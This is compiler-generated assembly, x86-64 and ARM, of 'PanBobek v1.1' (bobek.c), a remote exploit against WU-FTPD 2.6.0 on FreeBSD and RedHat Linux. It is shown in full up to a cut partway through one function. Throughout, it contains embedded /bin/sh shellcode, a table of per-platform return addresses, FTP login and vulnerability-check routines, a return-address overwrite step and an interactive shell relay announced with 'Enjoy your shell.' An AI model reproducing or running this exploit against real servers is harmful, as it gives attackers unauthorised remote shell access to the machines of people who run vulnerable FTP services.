	sub	rcx, QWORD PTR fs:40
	je	.L81
	call	__stack_chk_fail@PLT
.L81:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE14:
	.size	overwrite, .-overwrite
	.globl	sh
	.type	sh, @function
sh:
.LFB15:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	sub	rsp, 336
	mov	DWORD PTR -8516[rbp], edi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	movabs	rax, 7002288615629876853
	movabs	rdx, 4260515711637535520
	mov	QWORD PTR -8240[rbp], rax
	mov	QWORD PTR -8232[rbp], rdx
	mov	DWORD PTR -8224[rbp], 174352672
	mov	BYTE PTR -8220[rbp], 0
	mov	eax, 0
	mov	ecx, 16
	lea	rdx, -8496[rbp]
	mov	rdi, rdx
#APP
# 402 "the_stack_data/125168.c" 1
	cld; rep; stosq
# 0 "" 2
#NO_APP
	mov	eax, edi
	mov	edx, ecx
	mov	DWORD PTR -8508[rbp], edx
	mov	DWORD PTR -8504[rbp], eax
	mov	rax, QWORD PTR -8496[rbp]
	or	rax, 1
	mov	QWORD PTR -8496[rbp], rax
	mov	eax, DWORD PTR -8516[rbp]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	mov	esi, eax
	movsx	rax, esi
	mov	rdi, QWORD PTR -8496[rbp+rax*8]
	mov	eax, DWORD PTR -8516[rbp]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	or	rdi, rax
	mov	rdx, rdi
	movsx	rax, esi
	mov	QWORD PTR -8496[rbp+rax*8], rdx
	lea	rax, -8240[rbp]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdx, rax
	lea	rcx, -8240[rbp]
	mov	eax, DWORD PTR -8516[rbp]
	mov	rsi, rcx
	mov	edi, eax
	call	write@PLT
.L87:
	lea	rax, -8208[rbp]
	mov	rsi, rax
	mov	eax, 0
	mov	edx, 1024
	mov	rdi, rsi
	mov	rcx, rdx
	rep stosq
	mov	rax, QWORD PTR -8496[rbp]
	mov	rdx, QWORD PTR -8488[rbp]
	mov	QWORD PTR -8368[rbp], rax
	mov	QWORD PTR -8360[rbp], rdx
	mov	rax, QWORD PTR -8480[rbp]
	mov	rdx, QWORD PTR -8472[rbp]
	mov	QWORD PTR -8352[rbp], rax
	mov	QWORD PTR -8344[rbp], rdx
	mov	rax, QWORD PTR -8464[rbp]
	mov	rdx, QWORD PTR -8456[rbp]
	mov	QWORD PTR -8336[rbp], rax
	mov	QWORD PTR -8328[rbp], rdx
	mov	rax, QWORD PTR -8448[rbp]
	mov	rdx, QWORD PTR -8440[rbp]
	mov	QWORD PTR -8320[rbp], rax
	mov	QWORD PTR -8312[rbp], rdx
	mov	rax, QWORD PTR -8432[rbp]
	mov	rdx, QWORD PTR -8424[rbp]
	mov	QWORD PTR -8304[rbp], rax
	mov	QWORD PTR -8296[rbp], rdx
	mov	rax, QWORD PTR -8416[rbp]
	mov	rdx, QWORD PTR -8408[rbp]
	mov	QWORD PTR -8288[rbp], rax
	mov	QWORD PTR -8280[rbp], rdx
	mov	rax, QWORD PTR -8400[rbp]
	mov	rdx, QWORD PTR -8392[rbp]
	mov	QWORD PTR -8272[rbp], rax
	mov	QWORD PTR -8264[rbp], rdx
	mov	rax, QWORD PTR -8384[rbp]
	mov	rdx, QWORD PTR -8376[rbp]
	mov	QWORD PTR -8256[rbp], rax
	mov	QWORD PTR -8248[rbp], rdx
	mov	eax, DWORD PTR -8516[rbp]
	lea	edi, 1[rax]
	lea	rax, -8368[rbp]
	mov	r8d, 0
	mov	ecx, 0
	mov	edx, 0
	mov	rsi, rax
	call	select@PLT
	mov	rax, QWORD PTR -8368[rbp]
	and	eax, 1
	test	rax, rax
	je	.L83
	lea	rax, -8208[rbp]
	mov	edx, 8192
	mov	rsi, rax
	mov	edi, 0
	call	read@PLT
	mov	DWORD PTR -8500[rbp], eax
	mov	eax, DWORD PTR -8500[rbp]
	movsx	rdx, eax
	lea	rsi, -8208[rbp]
	mov	eax, DWORD PTR -8516[rbp]
	mov	ecx, 4
	mov	edi, eax
	call	send@PLT
.L83:
	mov	eax, DWORD PTR -8516[rbp]
	lea	edx, 63[rax]
	test	eax, eax
	cmovs	eax, edx
	sar	eax, 6
	cdqe
	mov	rsi, QWORD PTR -8368[rbp+rax*8]
	mov	eax, DWORD PTR -8516[rbp]
	cdq
	shr	edx, 26
	add	eax, edx
	and	eax, 63
	sub	eax, edx
	mov	edx, 1
	mov	ecx, eax
	sal	rdx, cl
	mov	rax, rdx
	and	rax, rsi
	test	rax, rax
	je	.L87
	lea	rcx, -8208[rbp]
	mov	eax, DWORD PTR -8516[rbp]
	mov	edx, 8192
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	mov	DWORD PTR -8500[rbp], eax
	cmp	DWORD PTR -8500[rbp], 0
	jns	.L85
	mov	eax, 0
	mov	rsi, QWORD PTR -8[rbp]
	sub	rsi, QWORD PTR fs:40
	je	.L88
	jmp	.L89
.L85:
	mov	eax, DWORD PTR -8500[rbp]
	movsx	rdx, eax
	lea	rax, -8208[rbp]
	mov	rsi, rax
	mov	edi, 1
	call	write@PLT
	jmp	.L87
.L89:
	call	__stack_chk_fail@PLT
.L88:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE15:
	.size	sh, .-sh
	.section	.rodata
.LC28:
	.string	"l:f:s:t:o"
	.align 8
.LC29:
	.string	"PanBobek v1.1 by venglin@freebsd.lublin.pl\n\n"
.LC30:
	.string	"Please select platform:\n"
.LC31:
	.string	"\t-t %d : %s %s (%p / %p)\n"
	.align 8
.LC32:
	.string	"Selected platform: %s with WUFTPD %s\n\n"
.LC33:
	.string	"Connection to %s failed.\n"
	.align 8
.LC34:
	.string	"Connected to %s. Trying to log in.\n"
	.align 8
.LC35:
	.string	"Logging in to %s (%s) failed.\n"
	.align 8
.LC36:
	.string	"Logged in as %s. Checking vulnerability.\n"
	.align 8
.LC37:
	.string	"Sorry, this version isn't vulnerable or uses internal vsnprintf().\n"
	.align 8
.LC38:
	.string	"Ok, trying to find offset (initial: %d)\n"
	.align 8
.LC39:
	.string	"\nError finding offset. Adjust align.\n"
.LC40:
	.string	"Error overwriting RET addr.\n"
	.align 8
.LC41:
	.string	"Wait up to few minutes for reply. It depends on victim's CPU speed.\nEnjoy your shell.\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB16:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	lea	r11, -16384[rsp]
.LPSRL1:
	sub	rsp, 4096
	or	DWORD PTR [rsp], 0
	cmp	rsp, r11
	jne	.LPSRL1
	sub	rsp, 96
	mov	DWORD PTR -16468[rbp], edi
	mov	QWORD PTR -16480[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -16444[rbp], 0
	mov	eax, DWORD PTR -16444[rbp]
	mov	DWORD PTR -16448[rbp], eax
	mov	eax, DWORD PTR -16448[rbp]
	mov	DWORD PTR opterr[rip], eax
	lea	rax, -16400[rbp]
	mov	DWORD PTR [rax], 7369830
	mov	DWORD PTR -16456[rbp], -1
	mov	DWORD PTR -16452[rbp], 21
	jmp	.L91
.L99:
	mov	eax, DWORD PTR -16436[rbp]
	movsx	eax, al
	sub	eax, 102
	cmp	eax, 14
	ja	.L92
	mov	eax, eax
	lea	rdx, 0[0+rax*4]
	lea	rax, .L94[rip]
	mov	eax, DWORD PTR [rdx+rax]
	cdqe
	lea	rdx, .L94[rip]
	add	rax, rdx
	notrack jmp	rax
	.section	.rodata
	.align 4
	.align 4
.L94:
	.long	.L98-.L94
	.long	.L92-.L94
	.long	.L92-.L94
	.long	.L92-.L94
	.long	.L92-.L94
	.long	.L92-.L94
	.long	.L97-.L94
	.long	.L92-.L94
	.long	.L92-.L94
	.long	.L96-.L94
	.long	.L92-.L94
	.long	.L92-.L94
	.long	.L92-.L94
	.long	.L95-.L94
	.long	.L93-.L94
	.text
.L97:
	mov	rdx, QWORD PTR optarg[rip]
	lea	rax, -16400[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcpy@PLT
	jmp	.L91
.L93:
	mov	rax, QWORD PTR optarg[rip]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -16456[rbp], eax
	jmp	.L91
.L96:
	mov	rax, QWORD PTR optarg[rip]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -16452[rbp], eax
	jmp	.L91
.L98:
	mov	rax, QWORD PTR optarg[rip]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -16448[rbp], eax
	jmp	.L91
.L95:
	mov	rax, QWORD PTR optarg[rip]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -16444[rbp], eax
	jmp	.L91
.L92:
	lea	rdi, usage[rip]
	call	puts@PLT
	mov	edi, 0
	call	exit@PLT
.L91:
	mov	rcx, QWORD PTR -16480[rbp]
	mov	eax, DWORD PTR -16468[rbp]
	lea	rdx, .LC28[rip]
	mov	rsi, rcx
	mov	edi, eax
	call	getopt@PLT
	mov	DWORD PTR -16436[rbp], eax
	cmp	DWORD PTR -16436[rbp], -1
	jne	.L99
	mov	eax, DWORD PTR optind[rip]
	sub	DWORD PTR -16468[rbp], eax
	mov	eax, DWORD PTR optind[rip]
	cdqe
	sal	rax, 3
	add	QWORD PTR -16480[rbp], rax
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 44
	mov	esi, 1
	lea	rdi, .LC29[rip]
	call	fwrite@PLT
	cmp	DWORD PTR -16456[rbp], 0
	jns	.L100
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 24
	mov	esi, 1
	lea	rdi, .LC30[rip]
	call	fwrite@PLT
	mov	DWORD PTR -16440[rbp], 0
	jmp	.L101
.L102:
	mov	eax, DWORD PTR -16440[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip+40]
	mov	rax, QWORD PTR [rdx+rax]
	mov	rdi, rax
	mov	eax, DWORD PTR -16440[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip+32]
	mov	rax, QWORD PTR [rdx+rax]
	mov	r8, rax
	mov	eax, DWORD PTR -16440[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip+8]
	mov	rsi, QWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -16440[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip]
	mov	rcx, QWORD PTR [rdx+rax]
	mov	rax, QWORD PTR stderr[rip]
	mov	edx, DWORD PTR -16440[rbp]
	sub	rsp, 8
	push	rdi
	mov	r9, r8
	mov	r8, rsi
	lea	rsi, .LC31[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	add	rsp, 16
	add	DWORD PTR -16440[rbp], 1
.L101:
	mov	eax, DWORD PTR -16440[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip]
	mov	rax, QWORD PTR [rdx+rax]
	test	rax, rax
	jne	.L102
	mov	edi, 0
	call	exit@PLT
.L100:
	mov	eax, DWORD PTR -16456[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip+8]
	mov	rcx, QWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -16456[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip]
	mov	rdx, QWORD PTR [rdx+rax]
	mov	rax, QWORD PTR stderr[rip]
	lea	rsi, .LC32[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	eax, DWORD PTR -16456[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip+28]
	mov	eax, DWORD PTR [rdx+rax]
	mov	DWORD PTR -16432[rbp], eax
	mov	eax, DWORD PTR -16456[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip+24]
	mov	eax, DWORD PTR [rdx+rax]
	mov	DWORD PTR -16428[rbp], eax
	mov	eax, DWORD PTR -16456[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip+32]
	mov	rax, QWORD PTR [rdx+rax]
	mov	QWORD PTR -16416[rbp], rax
	mov	eax, DWORD PTR -16456[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip+40]
	mov	rax, QWORD PTR [rdx+rax]
	mov	QWORD PTR -16408[rbp], rax
	mov	eax, DWORD PTR -16444[rbp]
	cdqe
	add	QWORD PTR -16408[rbp], rax
	mov	eax, DWORD PTR -16448[rbp]
	cdqe
	add	QWORD PTR -16416[rbp], rax
	cmp	DWORD PTR -16468[rbp], 1
	je	.L103
	lea	rdi, usage[rip]
	call	puts@PLT
	mov	edi, 0
	call	exit@PLT
.L103:
	mov	eax, DWORD PTR -16456[rbp]
	mov	edi, eax
	mov	eax, 0
	call	putshell
	mov	rdx, rax
	lea	rax, -8208[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcpy@PLT
	mov	rax, QWORD PTR -16480[rbp]
	mov	rax, QWORD PTR [rax]
	mov	edx, DWORD PTR -16452[rbp]
	mov	esi, edx
	mov	rdi, rax
	mov	eax, 0
	call	connecttoftp
	mov	DWORD PTR -16424[rbp], eax
	cmp	DWORD PTR -16424[rbp], 0
	jns	.L104
	mov	rax, QWORD PTR -16480[rbp]
	mov	rdx, QWORD PTR [rax]
	mov	rax, QWORD PTR stderr[rip]
	lea	rsi, .LC33[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	edi, 1
	call	exit@PLT
.L104:
	mov	rax, QWORD PTR -16480[rbp]
	mov	rdx, QWORD PTR [rax]
	mov	rax, QWORD PTR stderr[rip]
	lea	rsi, .LC34[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	lea	rdx, -8208[rbp]
	lea	rax, -16400[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	mov	eax, 0
	call	logintoftp
	test	eax, eax
	jns	.L105
	mov	rax, QWORD PTR -16480[rbp]
	mov	rdx, QWORD PTR [rax]
	mov	rax, QWORD PTR stderr[rip]
	lea	rcx, -16400[rbp]
	lea	rsi, .LC35[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	edi, 1
	call	exit@PLT
.L105:
	mov	rax, QWORD PTR stderr[rip]
	lea	rdx, -16400[rbp]
	lea	rsi, .LC36[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	eax, DWORD PTR -16456[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	sal	rax, 3
	sub	rax, rdx
	sal	rax, 3
	mov	rdx, rax
	lea	rax, targ[rip+48]
	mov	eax, DWORD PTR [rdx+rax]
	mov	edi, eax
	call	sleep@PLT
	call	checkvuln
	test	eax, eax
	jns	.L106
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 67
	mov	esi, 1
	lea	rdi, .LC37[rip]
	call	fwrite@PLT
	mov	edi, 1
	call	exit@PLT
.L106:
	mov	rax, QWORD PTR stderr[rip]
	mov	edx, DWORD PTR -16432[rbp]
	lea	rsi, .LC38[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	edx, DWORD PTR -16428[rbp]
	mov	eax, DWORD PTR -16432[rbp]
	mov	esi, edx
	mov	edi, eax
	mov	eax, 0
	call	findeip
	mov	DWORD PTR -16420[rbp], eax
	cmp	DWORD PTR -16420[rbp], 0
	jns	.L107
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 37
	mov	esi, 1
	lea	rdi, .LC39[rip]
	call	fwrite@PLT
	mov	edi, 1
	call	exit@PLT
.L107:
	mov	edi, DWORD PTR -16432[rbp]
	mov	rcx, QWORD PTR -16408[rbp]
	mov	edx, DWORD PTR -16428[rbp]
	mov	esi, DWORD PTR -16420[rbp]
	mov	rax, QWORD PTR -16416[rbp]
	mov	r8d, edi
	mov	rdi, rax
	mov	eax, 0
	call	overwrite
	test	eax, eax
	jns	.L108
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 28
	mov	esi, 1
	lea	rdi, .LC40[rip]
	call	fwrite@PLT
	mov	edi, 1
	call	exit@PLT
.L108:
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 86
	mov	esi, 1
	lea	rdi, .LC41[rip]
	call	fwrite@PLT
	mov	eax, DWORD PTR -16424[rbp]
	mov	edi, eax
	mov	eax, 0
	call	sh
	mov	edi, 0
	call	exit@PLT
	.cfi_endproc
.LFE16:
	.size	main, .-main
	.local	buf.0
	.comm	buf.0,400,32
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"125168.c"
	.text
	.global	usage
	.data
	.align	2
	.type	usage, %object
	.size	usage, 83
usage:
	.ascii	"usage: bobek [-l login] [-o port] [-f retofs] [-s r"
	.ascii	"etlocofs]\012\011<-t type> <hostname>\000"
	.comm	recvbuf,8192,4
	.comm	sendbuf,8192,4
	.comm	cin,4,4
	.comm	cout,4,4
	.global	linuxcode
	.align	2
	.type	linuxcode, %object
	.size	linuxcode, 173
linuxcode:
	.ascii	"1\3001\3331\311\260F\315\2001\3001\333C\211\331A\260"
	.ascii	"?\315\200\353k^1\3001\311\215^\001\210F\004f\271\377"
	.ascii	"\001\260'\315\2001\300\215^\001\260=\315\2001\3001\333"
	.ascii	"\215^\010\211C\0021\311\376\3111\300\215^\010\260\014"
	.ascii	"\315\200\376\311u\3631\300\210F\011\215^\010\260=\315"
	.ascii	"\200\376\016\2600\376\310\210F\0041\300\210F\007\211"
	.ascii	"v\010\211F\014\211\363\215N\010\215V\014\260\013\315"
	.ascii	"\2001\3001\333\260\001\315\200\350\220\377\377\3770"
	.ascii	"bin0sh1..11venglin@kocham.kasie.com\000"
	.global	bsdcode
	.align	2
	.type	bsdcode, %object
	.size	bsdcode, 186
bsdcode:
	.ascii	"1\300PPP\260~\315\2001\3331\300CCSKSS\260Z\315\200\353"
	.ascii	"w^1\300\215^\001\210F\004fh\377\001SS\260\210\315\200"
	.ascii	"1\300\215^\001SS\260=\315\2001\3001\333\215^\010\211"
	.ascii	"C\0021\311\376\3111\300\215^\010SS\260\014\315\200\376"
	.ascii	"\311u\3611\300\210F\011\215^\010SS\260=\315\200\376"
	.ascii	"\016\2600\376\310\210F\0041\300\210F\007\211v\010\211"
	.ascii	"F\014\211\363\215N\010\215V\014RQSS\260;\315\2001\300"
	.ascii	"1\333SS\260\001\315\200\350\204\377\377\3770bin0sh1"
	.ascii	"..11venglin@kocham.kasie.com\000"
	.section	.rodata
	.align	2
	.type	rcsid, %object
	.size	rcsid, 57
rcsid:
	.ascii	"$Id: bobek.c,v 1.1.1.1 2001/05/21 15:28:06 venglin "
	.ascii	"Exp $\000"
	.global	targ
	.align	2
.LC0:
	.ascii	"FreeBSD 3.4-STABLE\000"
	.align	2
.LC1:
	.ascii	"2.6.0-ports\000"
	.align	2
.LC2:
	.ascii	"FreeBSD 5.0-CURRENT\000"
	.align	2
.LC3:
	.ascii	"2.6.0-packages\000"
	.align	2
.LC4:
	.ascii	"2.6.0-venglin\000"
	.align	2
.LC5:
	.ascii	"RedHat Linux 6.2\000"
	.align	2
.LC6:
	.ascii	"2.6.0-RPM\000"
	.align	2
.LC7:
	.ascii	"RedHat Linux 6.2-SMP\000"
	.data
	.align	2
	.type	targ, %object
	.size	targ, 352
targ:
	.word	.LC0
	.word	.LC1
	.word	bsdcode
	.word	2
	.word	1024
	.word	134946576
	.word	-1077949436
	.word	0
	.word	.LC2
	.word	.LC1
	.word	bsdcode
	.word	2
	.word	1024
	.word	134944016
	.word	-1077941236
	.word	0
	.word	.LC0
	.word	.LC3
	.word	bsdcode
	.word	2
	.word	1024
	.word	134944016
	.word	-1077942376
	.word	0
	.word	.LC0
	.word	.LC4
	.word	bsdcode
	.word	2
	.word	1024
	.word	134678412
	.word	-1077949436
	.word	0
	.word	.LC5
	.word	.LC6
	.word	linuxcode
	.word	2
	.word	1024
	.word	134699488
	.word	-1073754252
	.word	0
	.word	.LC5
	.word	.LC6
	.word	linuxcode
	.word	2
	.word	1024
	.word	134699488
	.word	-1073753996
	.word	0
	.word	.LC5
	.word	.LC6
	.word	linuxcode
	.word	2
	.word	1024
	.word	134699488
	.word	-1073754236
	.word	0
	.word	.LC5
	.word	.LC6
	.word	linuxcode
	.word	2
	.word	1024
	.word	134699488
	.word	-1073754036
	.word	0
	.word	.LC7
	.word	.LC6
	.word	linuxcode
	.word	2
	.word	1024
	.word	134699488
	.word	-1073753884
	.word	0
	.word	.LC5
	.word	.LC6
	.word	linuxcode
	.word	2
	.word	1024
	.word	134699488
	.word	-1073754516
	.word	0
	.word	0
	.word	0
	.word	0
	.word	0
	.word	0
	.word	0
	.word	0
	.space	4
	.section	.rodata
	.align	2
.LC8:
	.ascii	"gethostbyname(): %s\012\000"
	.align	2
.LC9:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	getip
	.syntax unified
	.arm
	.fpu softvfp
	.type	getip, %function
getip:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #28
	str	r0, [fp, #-32]
	ldr	r3, .L6
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	ldr	r0, [fp, #-32]
	bl	inet_addr
	mov	r3, r0
	str	r3, [fp, #-24]
	ldr	r3, [fp, #-24]
	cmp	r3, #0
	bge	.L2
	ldr	r0, [fp, #-32]
	bl	gethostbyname
	str	r0, [fp, #-20]
	ldr	r3, [fp, #-20]
	cmp	r3, #0
	bne	.L3
	ldr	r3, .L6+4
	ldr	r4, [r3]
	bl	__h_errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	strerror
	mov	r3, r0
	mov	r2, r3
	ldr	r1, .L6+8
	mov	r0, r4
	bl	fprintf
	mov	r0, #1
	bl	exit
.L3:
	ldr	r3, [fp, #-20]
	ldr	r3, [r3, #16]
	ldr	r1, [r3]
	sub	r3, fp, #24
	mov	r2, #4
	mov	r0, r3
	bl	memcpy
.L2:
	ldr	r3, [fp, #-24]
	ldr	r2, .L6
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L5
	bl	__stack_chk_fail
.L5:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L7:
	.align	2
.L6:
	.word	.LC9
	.word	stderr
	.word	.LC8
	.size	getip, .-getip
	.section	.rodata
	.align	2
.LC10:
	.ascii	"socket\000"
	.align	2
.LC11:
	.ascii	"connect\000"
	.align	2
.LC12:
	.ascii	"r\000"
	.align	2
.LC13:
	.ascii	"w\000"
	.align	2
.LC14:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	connecttoftp
	.syntax unified
	.arm
	.fpu softvfp
	.type	connecttoftp, %function
connecttoftp:
	@ args = 0, pretend = 0, frame = 32
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #32
	str	r0, [fp, #-32]
	str	r1, [fp, #-36]
	ldr	r3, .L16
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #24
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2]
	str	r3, [r2, #4]
	str	r3, [r2, #8]
	str	r3, [r2, #12]
	mov	r3, #2
	strh	r3, [fp, #-24]	@ movhi
	ldr	r0, [fp, #-32]
	bl	getip
	mov	r3, r0
	str	r3, [fp, #-20]
	ldr	r3, [fp, #-36]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-22]	@ movhi
	mov	r2, #0
	mov	r1, #1
	mov	r0, #2
	bl	socket
	str	r0, [fp, #-28]
	ldr	r3, [fp, #-28]
	cmp	r3, #0
	bge	.L9
	ldr	r0, .L16+4
	bl	perror
	mvn	r3, #0
	b	.L14
.L9:
	sub	r3, fp, #24
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [fp, #-28]
	bl	connect
	mov	r3, r0
	cmp	r3, #0
	bge	.L11
	ldr	r0, .L16+8
	bl	perror
	ldr	r0, [fp, #-28]
	bl	close
	mvn	r3, #0
	b	.L14
.L11:
	ldr	r1, .L16+12
	ldr	r0, [fp, #-28]
	bl	fdopen
	mov	r3, r0
	ldr	r2, .L16+16
	str	r3, [r2]
	ldr	r1, .L16+20
	ldr	r0, [fp, #-28]
	bl	fdopen
	mov	r3, r0
	ldr	r2, .L16+24
	str	r3, [r2]
	ldr	r3, .L16+16
	ldr	r3, [r3]
	cmp	r3, #0
	beq	.L12
	ldr	r3, .L16+24
	ldr	r3, [r3]
	cmp	r3, #0
	bne	.L13
.L12:
	ldr	r0, [fp, #-28]
	bl	close
	mvn	r3, #0
	b	.L14
.L13:
	ldr	r3, [fp, #-28]
.L14:
	ldr	r2, .L16
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L15
	bl	__stack_chk_fail
.L15:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L17:
	.align	2
.L16:
	.word	.LC14
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	cin
	.word	.LC13
	.word	cout
	.size	connecttoftp, .-connecttoftp
	.section	.rodata
	.align	2
.LC15:
	.ascii	"\015\012\000"
	.align	2
.LC16:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	command
	.syntax unified
	.arm
	.fpu softvfp
	.type	command, %function
command:
	@ args = 4, pretend = 16, frame = 24600
	@ frame_needed = 1, uses_anonymous_args = 1
	push	{r0, r1, r2, r3}
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24576
	sub	sp, sp, #24
	sub	r3, fp, #24576
	sub	r3, r3, #4
	mov	r2, r3
	ldr	r3, [fp, #4]
	str	r3, [r2, #-20]
	ldr	r3, .L27
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r3, .L27+4
	ldr	r3, [r3]
	cmp	r3, #0
	bne	.L19
	mvn	r3, #0
	b	.L25
.L19:
	sub	r3, fp, #24576
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r0, r3
	mov	r3, #8192
	mov	r2, r3
	mov	r1, #0
	bl	memset
	sub	r3, fp, #16384
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r0, r3
	mov	r3, #16384
	mov	r2, r3
	mov	r1, #0
	bl	memset
	add	r3, fp, #8
	sub	r2, fp, #24576
	sub	r2, r2, #4
	str	r3, [r2, #-16]
	sub	r3, fp, #24576
	sub	r3, r3, #4
	sub	r2, fp, #24576
	sub	r2, r2, #4
	sub	r0, fp, #24576
	sub	r0, r0, #4
	sub	r0, r0, #4
	ldr	r3, [r3, #-16]
	ldr	r2, [r2, #-20]
	mov	r1, #8192
	bl	vsnprintf
	sub	r3, fp, #24576
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #24576
	sub	r3, r3, #4
	sub	r3, r3, #4
	str	r3, [r2, #-12]
	sub	r3, fp, #24576
	sub	r3, r3, #4
	mov	r2, r3
	sub	r3, fp, #16384
	sub	r3, r3, #4
	sub	r3, r3, #4
	str	r3, [r2, #-8]
	b	.L21
.L24:
	sub	r3, fp, #24576
	sub	r3, r3, #4
	ldr	r3, [r3, #-12]
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #255
